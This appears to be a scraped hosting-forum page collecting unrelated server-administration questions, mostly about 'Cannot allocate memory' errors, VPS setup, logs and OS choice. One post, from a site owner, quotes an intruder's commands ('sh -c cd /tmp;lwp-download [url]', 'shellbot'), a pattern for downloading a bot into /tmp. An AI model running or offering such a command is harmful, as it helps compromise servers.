I have a VPS acct with Plesk, am peaking out my system ram at 128mb. Host said to allocate ,ore = purchase more. What I would like to do is hunt down where I am using the most of it. I have 8 sites (non that are too big). Most of them are wordpress sites.
Would caching help? Not sure where to look to find this out.
iconv: unable to allocate buffer for input: Cannot allocate memory
as title I have this error when I try convert database to uft-8
when I try this command
Code:
# iconv -c -f windows-1251 -t utf-8 vbulletin_db.sql > vbulletin_db_utf8.sql
I get this error
iconv: unable to allocate buffer for input: Cannot allocate memory
I got this error after trying to login to the server
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/fgrep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
Also I notice my server load are was also high due to '/usr/sbin/httpd -k start -DSSL' taking half of my CPU process. I tried to killall -9 httpd and restart again. See all below
login as: wheel
wheel@user:
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/fgrep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
[~]# su -
Password:
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/egrep: Cannot allocate memory
-bash: /bin/fgrep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
-bash: /bin/grep: Cannot allocate memory
-bash: /bin/cut: Cannot allocate memory
-bash: /bin/cut: Cannot allocate memory
After then I reliased I cannot pingt the server from same Lan network
root@t [~]# ping xxx.xxx.xxx.xxx
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx) 56(84) bytes of data.
From xxx.xxx.xxx.xxx icmp_seq=1 Destination Host Unreachable
From xxx.xxx.xxx.xxx icmp_seq=2 Destination Host Unreachable
From xxx.xxx.xxx.xxx icmp_seq=3 Destination Host Unreachable
From xxx.xxx.xxx.xxx icmp_seq=5 Destination Host Unreachable
My server was totally offline!
When I type 'ls', it says
bash /bin/ls: Cannot allocate memory.
I have unplugged the server from datacenter. Right now the server is infront of me. Please advise what command and fixes should i do.
I have never really looked to far into this but I was wondering how much space to allocate to my clients email accounts. Any rule of thumb for this?
View 6 Replies View RelatedAll our vps customer have following error when login to ssh after one day:
"root@xxx.xxx.xxx.xxx's password:
Server refused to allocate pty"
And ssh not work too!
when I tried to install nginx,but always said:
cannot allocate memory ....
Basically I installed wordpress in the same mysql as forum... but wordpress uses different username to connect to it. I wonder if there is any security risk associated with this, like would it be better to move out wordpress on to a different db? what about speed? what if my forum receives allot of mysql usage?
View 5 Replies View RelatedWe're in the process of setting up our new VPS Server, and we can create a VPS with 256MB memory and with 512MB memory fine, but when creating one with 1GB memory, we get the error:
Could Not Start Vps, Reason: Unable to fork: Cannot allocate memory: Not enough resources to start environment: Container start failed:
Even though the server has 4GB RAM and no other VPS's running. Any ideas?
Thanks.
[Edit]We now seem to get the problem for all our VPS's. I think it may be something to do with the Server not unallocating the memory, as we've provisioned and de-provisioned quite a few Servers
PleskLog File
104)Connection reset by peer: mod_fcgid: error reading data from FastCGI server
[Mon Jun 22 15:33:11 2015] [error] [client 176.10.112.11] Premature end of script headers: import_cop.php
and Apache Log
[Mon Jun 22 11:06:57 2015] [error] server reached MaxClients setting, consider raising the MaxClients setting
[Mon Jun 22 15:46:17 2015] [error] (12)Cannot allocate memory: fork: Unable to fork new process
PHP Warning: Module 'zip' already loaded in Unknown on line 0
How can I fix this problem? The Script is 100% i/O because it has worked onder PHP 5.2 and its comp. whit 5.4.
Working on CentOs 5, I got this error when listing a folder 'ls' with 5 files in it:
root@s1 [/usr/local/lib]# ls-bash: fork: Cannot allocate memory
What does it mean? How can I fix it?
and my memory status is: .....
On one of our servers, a Athlon 64, 4 GB DDR2 RAM, Linux server with CentOS 5.3 64-bit installed and running the latest kernel (and which is located entirely different from the previous post, in a different city and DC), after installing some packages using yum and installing the latest PHP and Apache from tarballs, the server began slowing down and hanging on trying to do additional yum installs.
So, we rebooted and logged back into our SSH shell and got "Server refused to allocate pty" after entering the password and then, nothing. We can't run other diagnostics or anything to determine the issue, look at any logs, etc.
What does this mean and does anyone know how to fix it without reinstalling the OS? We have rescue mode available to us but we're not sure how to use it to fix this problem.
We look forward to your solutions-oriented responses.
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare.
I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work.
So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?
Recently, my server has been running real slow and I don't know why... I've not noticed any increase in traffic (In fact it goes slow with no traffic on it...), what are some things I can look at to try and diagnose the problem? I know next to nothing about *nix so please speak in great detail.
Anytime I restart Apache, it loads quick for a few seconds then gets slow again...
Here are the top few processes listed on the process manager: .....
Is there any billing software/scripts that enable customer to view their invoice without login?
View 5 Replies View RelatedIs there anything like System cleaning in VPS (Linux with apache) ? I need to do system cleaning so that my space and performance can increase.
Is there anything like that in Linux?
Ive been getting the following System Warning every hour since I set the server up 5 days ago and Google hasn't been a lot of help in tracking down what it means and if I should be concerned. Im hoping someone here can point me in the right direction. Im running Windows 2003 Web Edition.
Quote:
Event Type:Warning
Event Source:LSASRV
Event Category:SPNEGO (Negotiator)
Event ID:40960
Date:3/20/2007
Time:7:45:33 PM
User:N/A
Computer:B02S08MR
Description:
The Security System detected an authentication error for the server DNS/ns.ufcom.com. The failure code from authentication protocol Kerberos was "There are currently no logon servers available to service the logon request.
(0xc000005e)".
For more information, see Help and Support Center at
[url]
Data:
0000: 5e 00 00 c0
I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code:
hubberfix
sh -c cd /tmp;lwp-download [url]
shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.
There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron.
CentOS
Debian
Direct Admin
Fedora
FreeBSD
Gentoo LiveCD
Redhat
Slackware
I just spent over 10 hours on my node configuration (debian etch). I have installed a lot of stuff, made raid1 array, control panel, some tools, rules etc etc etc.
I dont want to see that some day something crash - and I will must start over with everything.
What you guys suggest as backup method, maybe some how-to backup WHOLE system with all files, raid configuration etc.
I dont need incremental backups at all - I just want to save/backup current system, and maybe restore if something bad would happen.
which of these operational systems is the best one for one vps?CentOS 4 (32bit)
CentOS 4 (64bit)
CentOS 5 (32bit)
Fedora Core 3 (32 bit)
Fedora Core 4 (32 bit)
Fedora Core 5 (32bit)
Debian Sarge 3 (32bit)
Gentoo 3 (32 bit)
Opensuse 10 (32 bit)
Suse 9 (64 bit)
Ubuntu 6 (32bit)
Windows 2003 Std
I am planning to start linux hosting but don't have much knowledge about linux Operating system... can I do this without having sufficient knowledge of linux background?
Also please suggest me some good links from where I can get basic linux command and some kind of flash tutorials from which I get to know how to do work in Appache and dns etc.
how to download tar file using Terminal,
I have a dedicated server running Linux CentsOS.
The default setup of my file system is:
/dev/sda1 450GB
tmpfs 2GB
/usr/tmpDSK 485 MB
My Disk size is 500GB
I have VPS having whm/cpanel base, i also install RT ticket system, it install successfully, same way i did on 5 other server its ok, but on VPS due to apache different configuration it gives me.
You haven't yet configured your webserver to run RT. You appear to have installed RT's web interface correctly, but haven't yet configured your web server to "run" the RT server which powers the web interface. The next step is to edit your webserver's configuration file to instruct it to use RT's mod_perl, FastCGI or SpeedyCGI handler.
Does someone know a good article for secure a virtuozzo node/host server?
View 0 Replies View RelatedI wondered which Content Management System (CMS) is the best for a website? I read that there are many to choose from, examples are Wordpress, Drupal, Joomla etc. Which CMS is more SEO Optimised?
Th website I will be setting up will be of the same genre as the following website startutor.sg. Therefore, I am wondering what CMS to use.
I thought of designing the website using AI or PSD and asked someone to code them (not sure of the terminology used) for me as I don't know anything about CSS, HTML etc.
One of our server's system clock seems to gradually creep away from the correct time. It has been causing us a lot of issues. After one day it becomes more than one hour off. After each minute it becomes a few seconds off.
Any ideas what could be causing this? It's uptime is ~2 months so it doesn't happen when it goes offline, it happens while it is running.
Right now we have a cronjob running ntpdate every few minutes as even with the ntpd service running it would end up off by several minutes when we would check. I have a feeling this isn't a very reliable fix though.
I have brand new server with CentOS 5.3 and latest CentOS kernel (2.6.18-128.1.10.el5PAE).
I have brand new HDDs with no errors (HDDs have only 1000 power-on-hours, server CPU temperature is normal - between 35-42 C). My server went read-only without any reason. I need to fsck main / partition (/home is separated) and it cleaned journal, then server became online.
After 2 weeks it happens again - I did again fsck on / partition and it recovered journal as before. I decided to ask Data Center to replace RAID-1 card and memory - they did it. After 3 weeks server went read-only again.
I ssh into server and saw that kswapd0 process is using 100% cpu and load is over 170.
After fsck it recovered journal on / and server is again available.
I am trying to write a perl script, it send's mail to a user i used system(mail -s test) and also send some messages using this.
but my issue is i receive mail with html code like <br> and so..
how to get a plain mail using this system command.